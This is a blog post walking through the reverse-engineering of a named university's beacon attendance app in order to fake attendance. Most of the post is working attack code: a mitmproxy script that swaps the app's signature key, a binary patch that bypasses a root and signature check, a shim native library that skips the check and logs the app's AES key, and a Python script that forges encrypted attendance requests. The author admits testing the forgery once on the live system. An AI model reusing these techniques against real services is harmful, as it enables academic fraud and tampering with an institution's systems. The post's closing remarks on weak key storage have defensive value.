--- title: "Playing with SNU Attendance System" date: 2024-03-30T18:00:48+09:00 slug: playing-with-snu-eam description: "Playing with SNU EAM" --- ## Playing with "Electronic Attendace System" of SNU. **A lots of school uses beacon-based digital attendance system, and so do our school. It seems relatively hackable, isn't it? So let's dig deep what's going on there and ultimately taking an attendace without actaully attending. Of course its not for real use, it's just for fun!** [Repository](https://github.com/sv64/snuapp) ### 1. APK JADX analyzing I decompiled apk using JADX and renamed every function and classes.(which I understand) But it didnt matter that much because mportant things were obsfucated in JNI. We need to disassemble and analyze JNI functions. Also, by looking at internal logic, I discovered that there isnt any authentication going on, it just read attributes of beacon which is very likely to be fixed, and send it to server. So actually we didnt need to think about iBeacon reading thing in Android. We need to look at what it sends to server. ### 2. App MITM patch, repackaging. So now we have to analyze its packets to potentially replay it by ourself. Using `apk-mitm` and `uber-apk-signer`, I modified app for use with mitmproxy. Since app has its own signature verifing on startup and some activity, we have to bypass that verification. 1. Startup It retrieves App signature from `https://mob.snu.ac.kr/api/versionCheck.action` on splash screen. Using mitmproxy script, we can easily modify server's response. ```python def response(flow: http.HTTPFlow) -> None: url = flow.request.pretty_url if url == "https://mob.snu.ac.kr/api/versionCheck.action": data = json.loads(flow.response.get_text()) data["VERSION"]["SIGN_KEY"] = "MYSIGNATURE" flow.response.text = json.dumps(data) ``` 2. JNI Signature checking. It uses JNI `libEncryptionKeyStore.so` for additional checkRoot. Name is checkRoot, but what it does is just verifies app's signature with some simple loops and direct comparison. When it doesnt match, it branches into std::terminate. ```asm 00007c4c if (*(data_3d158 - 0x18) == 0) 00007d44 sub_bd3c(&data_3d158, " …", 0x28) 00007d48 int64_t x0_8 = data_3d158 00007d50 if ((*(x0_8 - 8) & 0x80000000) == 0) 00007d58 sub_ba58(&data_3d158) 00007d5c x0_8 = data_3d158 00007d68 *x0_8 = 0x35 ``` Since original signature is hard-coded into binary, we can either modify binary as our signature. But replacing every single bytes manually would be a nightmare. So I had to do it automatically. To track down where every bytes are assigned, I just sweeped and parsed every single line. I matched binary expressions into opcode and tracked down when and where it stored bytes into string register, and changed it into my signature. ([`armv8.py`](scripts/armv8.py) and [`ubivelox.py`](scripts/ubivelox.py)) This is of course very very inefficient and very limited way, but it worked well for me this time. Its one time script, no one cares about it. Or we can just bypass `b std::terminate` to `ret`. It doesnt return anything, so just returning should be fine. ```asm 00008308 23040051 sub w3, w1, #0x1 0000830c 43801fb8 stur w3, [x2, #-0x8] 00008310 f8ffff17 b 0x82f0 00008314 04030094 bl std::terminate --> ret { Does not return } ``` And final method is creating imposter native library which I destinated to do later anyways. ### 2. linEncryptionKeyStore.so JNI ```java package com.ubivelox.security; public class EncryptionKeyStore { static { System.loadLibrary("EncryptionKeyStore"); } public String secretKeyEx() { return getSecretKeyEx(); } public native void checkRooting(String str); public native String getBleInfo(); public native String getSecretKeyEx(); } ``` Important things were all in this JNI. App sends request as `{header: encryped-header, body: body}` and this encryption key is retrieved with `getSecretKeyEx()` as JNI. So I need to somehow extract key from this function. ```c 00007124 int64_t var_38 = time(nullptr) 00007130 int32_t x1 = *(localtime(&var_38) + 0x10) 00007134 int32_t x1_1 = x1 + 1 00007138 int32_t x0_9 00007138 if (x1 + 1 s< 0) 00007388 x0_9 = 0 00007150 else 00007150 int32_t x0_7 = ((muls.dp.q(x1_1, 0x2aaaaaab) u>> 0x20).d s>> 1) - (x1_1 s>> 0x1f) 0000715c x0_9 = x1_1 - ((x0_7 << 4) - (x0_7 << 2)) ``` First, it calculates index from current time. I didnt know what was going on here exactly, but I learned that multipling `0x2aaaaaab` is to divide number by 3. Well the calculation wasnt 'understandable' for me, so I just moved this into C code and observed the output. Surprisingly, it was fixed. ```asm 00007180 1f040071 cmp w0, #0x1 00007184 60100054 b.eq 0x7390 00007188 1f080071 cmp w0, #0x2 0000718c e0150054 b.eq 0x7448 ... 000071d0 1f2c0071 cmp w0, #0xb 000071d4 210c0054 b.ne 0x7358 ``` They wrote code to do some kind of key rotating with that index above, and that index was fixed, so it was just all useless obsfucation. (but it is more likely that I didnt looked it carefully and it changes daily or randomly) ```asm 00007204 06078052 mov w6, #0x38 00007208 29078052 mov w9, #0x39 0000720c 88068052 mov w8, #0x34 00007210 65088052 mov w5, #0x43 00007214 acd30039 strb w12, [x29, #0x34 {var_30+0x4}] {0x46} 00007218 a3f30039 strb w3, [x29, #0x3c {var_28+0x4}] {0x44} 0000721c 2c068052 mov w12, #0x31 00007220 ab070139 strb w11, [x29, #0x41 {var_20+0x1}] 00007224 ab068052 mov w11, #0x35 ``` Each subroutine builds key into var_30, var_20, ... , so I just need to write down these keys right? Well it wasnt. After each subroutine it all branched into this part. ```asm 00007358 820240f9 ldr x2, [x20] 0000735c e00314aa mov x0, x20 00007360 429c42f9 ldr x2, [x2, #0x538] 00007364 40003fd6 blr x2 00007368 73ce47f9 ldr x19, [x19, #0xf98] {__stack_chk_guard} 0000736c a22f40f9 ldr x2, [x29, #0x58 {var_8}] 00007370 610240f9 ldr x1, [x19] 00007374 5f0001eb cmp x2, x1 00007378 413b0054 b.ne 0x7ae0 0000737c f35341a9 ldp x19, x20, [sp, #0x10] {__saved_x19} {__saved_x20} 00007380 fd7bc6a8 ldp x29, x30, [sp], #0x60 {__saved_x29} {__saved_x30} 00007384 c0035fd6 ret 00007388 00008052 mov w0, #0 0000738c 75ffff17 b 0x7160 ``` It loads x20 into x2 and branches into value of `x2+0x538`. And x20 was saved value of `int64_t* arg1`, which is JNIenv passed from Java. And of course I spend a lot of hard time figuring out what this function does. I just couldnt see where that function was, and this was almost first time analyzing JNI. I didnt even knew any Android programming. And I just gave up at this point. I even tried to read all defined functions. And fast-forwarding to future, that was just endian converting function... ### 3. JNI sniffing I had to find other way. And I rememdered about library sniffing. You know, we can sniff and log return values using mocked JNI, which just forwards function calls. We can even bypass `checkRoot` by just not actually calling it. ```cpp #include "com_ubivelox_security_EncryptionKeyStore.h" #include #include #include void* libhandle = dlopen("libEncryptionKeyStore-orig.so", RTLD_LAZY); typedef void (*checkRooting_ft)(JNIEnv*, jobject, jstring); typedef jstring (*getBleInfo_ft)(JNIEnv*, jobject); typedef jstring (*getSecretKeyEx_ft)(JNIEnv*, jobject); checkRooting_ft checkRooting_ptr; getBleInfo_ft getBleInfo_ptr; getSecretKeyEx_ft getSecretKeyEx_ptr; JNIEXPORT void JNICALL checkRooting(JNIEnv* arg1, jobject arg2, jstring arg3) { if (!checkRooting_ptr) checkRooting_ptr = (checkRooting_ft)dlsym(libhandle, "Java_com_ubivelox_security_EncryptionKeyStore_checkRooting"); if (checkRooting_ptr) // return checkRooting_ptr(arg1, arg2, arg3); return; } JNIEXPORT jstring JNICALL getBleInfo(JNIEnv* env, jobject obj) { if (!getBleInfo_ptr) getBleInfo_ptr = (getBleInfo_ft)dlsym(libhandle, "Java_com_ubivelox_security_EncryptionKeyStore_getBleInfo"); if (getBleInfo_ptr) { jstring ret = getBleInfo_ptr(env, obj); const char *cStr = env->GetStringUTFChars(ret, NULL); if (cStr == NULL) { return NULL; } char log[2048] = {0}; snprintf(log, sizeof(log), "getBleInfo: %s", cStr); __android_log_write(ANDROID_LOG_ERROR, "libEncryptionKeyStore", log); env->ReleaseStringUTFChars(ret, cStr); return ret; } return NULL; } JNIEXPORT jstring JNICALL getSecretKeyEx(JNIEnv* env, jobject obj) { if (!getSecretKeyEx_ptr) getSecretKeyEx_ptr = (getSecretKeyEx_ft)dlsym(libhandle, "Java_com_ubivelox_security_EncryptionKeyStore_getSecretKeyEx"); if (getSecretKeyEx_ptr) { jstring ret = getSecretKeyEx_ptr(env, obj); const char *cStr = env->GetStringUTFChars(ret, NULL); if (cStr == NULL) { return NULL; } char log[2048] = {0}; snprintf(log, sizeof(log), "getSecretKeyEx: %s, %p", cStr, *(*env + 0x538)); __android_log_write(ANDROID_LOG_ERROR, "libEncryptionKeyStore", log); env->ReleaseStringUTFChars(ret, cStr); return ret; } return NULL; } JNIEXPORT void JNICALL Java_com_ubivelox_security_EncryptionKeyStore_checkRooting (JNIEnv* arg1, jobject arg2, jstring arg3) { return checkRooting(arg1, arg2, arg3); } JNIEXPORT jstring JNICALL Java_com_ubivelox_security_EncryptionKeyStore_getBleInfo (JNIEnv* arg1, jobject arg2) { return getBleInfo(arg1, arg2); } JNIEXPORT jstring JNICALL Java_com_ubivelox_security_EncryptionKeyStore_getSecretKeyEx (JNIEnv* arg1, jobject arg2) { return getSecretKeyEx(arg1, arg2); } ``` So I just did that. What a easy tasks it was. Now I can just get encryption key using `adb logcat`. > ``` > 03-26 11:04:03 E libEncryptionKeyStore: RETURN: 3172XXXXXXXXXXXXXXXXXXXXXXXXXXXX > 03-26 11:04:03 E libEncryptionKeyStore: RETURN: 3172XXXXXXXXXXXXXXXXXXXXXXXXXXXX > 03-26 11:04:03 E libEncryptionKeyStore: RETURN: 3172XXXXXXXXXXXXXXXXXXXXXXXXXXXX > 03-26 11:04:03 E libEncryptionKeyStore: RETURN: 3172XXXXXXXXXXXXXXXXXXXXXXXXXXXX > ``` > It was really this easy.. I should've done it from beginning. ### 4 So, I now extracted Encryption Key, and I have all packets containing all informations about attendace. Now its time to decrypt messages and build our own requests! Messages were encrypted in AES-CBC mode with IV of just 0s, padded with PKCS#5. I modified mitm script to automatically decrypt messages and log them. ```python elif "https://scard1.snu.ac.kr/" in url: req = json.loads(flow.request.get_text()) data = json.loads(flow.response.get_text()) with open(LOG, "a") as f: f.write(f"{gettime()}\n") f.write(flow.request.pretty_url) f.write("\n------------------\n") f.write(decrypt(req["header"]).decode()) f.write("\n------------------\n") f.write(req["body"]) f.write("\n------------------\n") f.write(decrypt(data["header"]).decode()) f.write("\n------------------\n") f.write(data["body"]) f.write("\n------------------\n") ``` And my log looked like this. ``` 09:52:22 https://scard1.snu.ac.kr/eaas/R001 ------------------ {"appVer":"3.4.29","authType":"","deviceLocale":"ko_KR","deviceMac":"02:00:00:00:00:00","deviceModel":"SM-G950N","deviceType":"10","deviceUuid":"XXXXXXXX-6D17-3995-AFD9-XXXXXXXXXXX","deviceVer":"9","enc":"bf21xxxxxxxxxxxxxxfa0859e0917b2202f","loginId":"","ssoToken":"","trId":"R001","trVer":"1.0.0","userId":""} ------------------ {} ------------------ {"trVer":"1.0.0","trId":"R001","sysTime":"20240326095222","ssoToken":"","resCd":"000000","resMsg":"","enc":"32942ddxxxxxxxxxxxxxxx7a24b2cf3b"} ``` Everything was clear, and that `enc` was just SHA1 of body content for verifing maybe. I have all of informations, now I can just send requests to server, retrieve class and lecture infos and do attendance. ### 5 As in case of Attendace Checking, It uses BLE Beacon (or iBeacon). At first I thought there should be some kind of randomization and special ble service, but it just sends existing and constant beacon data (UUID, MacAddress, ...) to server. It seemed easy to manipulate, and by knowing this, I can just build my BLE server with matching UUID and such properties, and use unmodified app to do attendance as usual. Modifing and sending custom built raw packets could be illegal in some circumstances, so this way is more safe and undetectable. Attendance packets involves encryption twice. Once in other encrypts header, and twice it encrypts BLE beacon data in header. I dont know why they encrypt twice, but there should be some context in it. Using all of informations, ```python bleInfo = { "ROOMID": (BLE_MAC, BLE_MAJ, BLE_MIN, BLERSSI, BLE_UUID), } roomInfo = {LECTURE_ID: ROOM_ID} userId = STUD_ID lectureId = LECTURE_ID bleMac, bleMajor, bleMinor, bleRSSI, bleUUID = bleInfo[roomInfo[lectureId]] timeCustom = datetime.strftime(datetime.now(), "%Y%m%d%H%M%S") plainble = '[{"bleWorkEndTime":"","bleWorkStartTime":"","bleBattery":"0","bleMacAddress":"' + bleMac + '","bleMajor":"' + bleMajor + '","bleMinor":"' + bleMinor + '","bleRssi":"' + bleRSSI + '","bleSignalPeriod":"0","bleTxPower":"0","bleUuid":"' + bleUUID + '"}]_' + timeCustom + userId + lectureId bleEnc = enc(plainble.encode()).decode() plainbody = '{"bleList":null,"bleListEx":"' + bleEnc + '","classSort":"0","lectureId":"' + lectureId + '","userId":"' + userId + '","verifyNum":null,"verifyType":null,"yearTerm":"20241"}' bodyhash = hashlib.sha1(plainbody.encode()).hexdigest() plainheader = '{"appVer":"3.1.1","authType":"0","deviceLocale":"ko_KR","deviceMac":"00:00:00:00:00:00","deviceModel":DEVICE_MODEL,"deviceType":"10","deviceUuid":DEVICE_UUID,"deviceVer":"9","enc":"' + bodyhash + '","loginId":"' + userId + '","ssoToken":"","trId":"A002","trVer":"1.0.0","userId":""}' encheader = enc(plainheader.encode()).decode() reqbody = json.dumps({"header": encheader,"body": plainbody}) ``` And voila! Now we can take an attendance without attending! I should make a platform to register beacon datas and automatically sends attendance request at time, and sell this service to my colleages, right? NO. Please dont use it in real world. It is easily detectable on server side. I risked testing it for once, but it shouldnt used in real world. NEVER. ### Afterthoughts. It seemed very complex at the beginning but solution was pretty easy and straightforward. I bet anyone could do it if one puts some times in it, I wonder why this wasnt the case. Maybe because it's actually illegal to do, and because of that it was less appealing to do it? I dont know.. Also, hardcoding encryption keys or verification tokens inside the app itself seems dangerous, as I could extract keys from decompilation. And any app has potential to be preloaded and sniffed, especially JNI like this case, so using JNI to retrive raw keys is not good I think. Its more better to just encrypt inside JNI so that key itself can be contained in itself, right? I dont think there is a way to contain key in blackbox even for end user. User has all access to app so it is hard to hide key from them maybe. I dont have deep knowledge in this area.. Even TPM is vulnerable to hardware key sniffing, so using hardware blackboxes are also not that sufficient unless it is really really blackbox. Maybe ZKP can solve this problem? `mitmproxy` done most important job in this case. Nowadays apps uses certificate pinning, but it was also useless with repackaging... So any problems is all sign verification and I think there is no way to perfectly do it. Signature verifing is hard. Using Network is dangerous, and using internal logic can be also bypassed. I think only way to prevent this is in operating system, like in iOS it's much more hard to do this kind of job.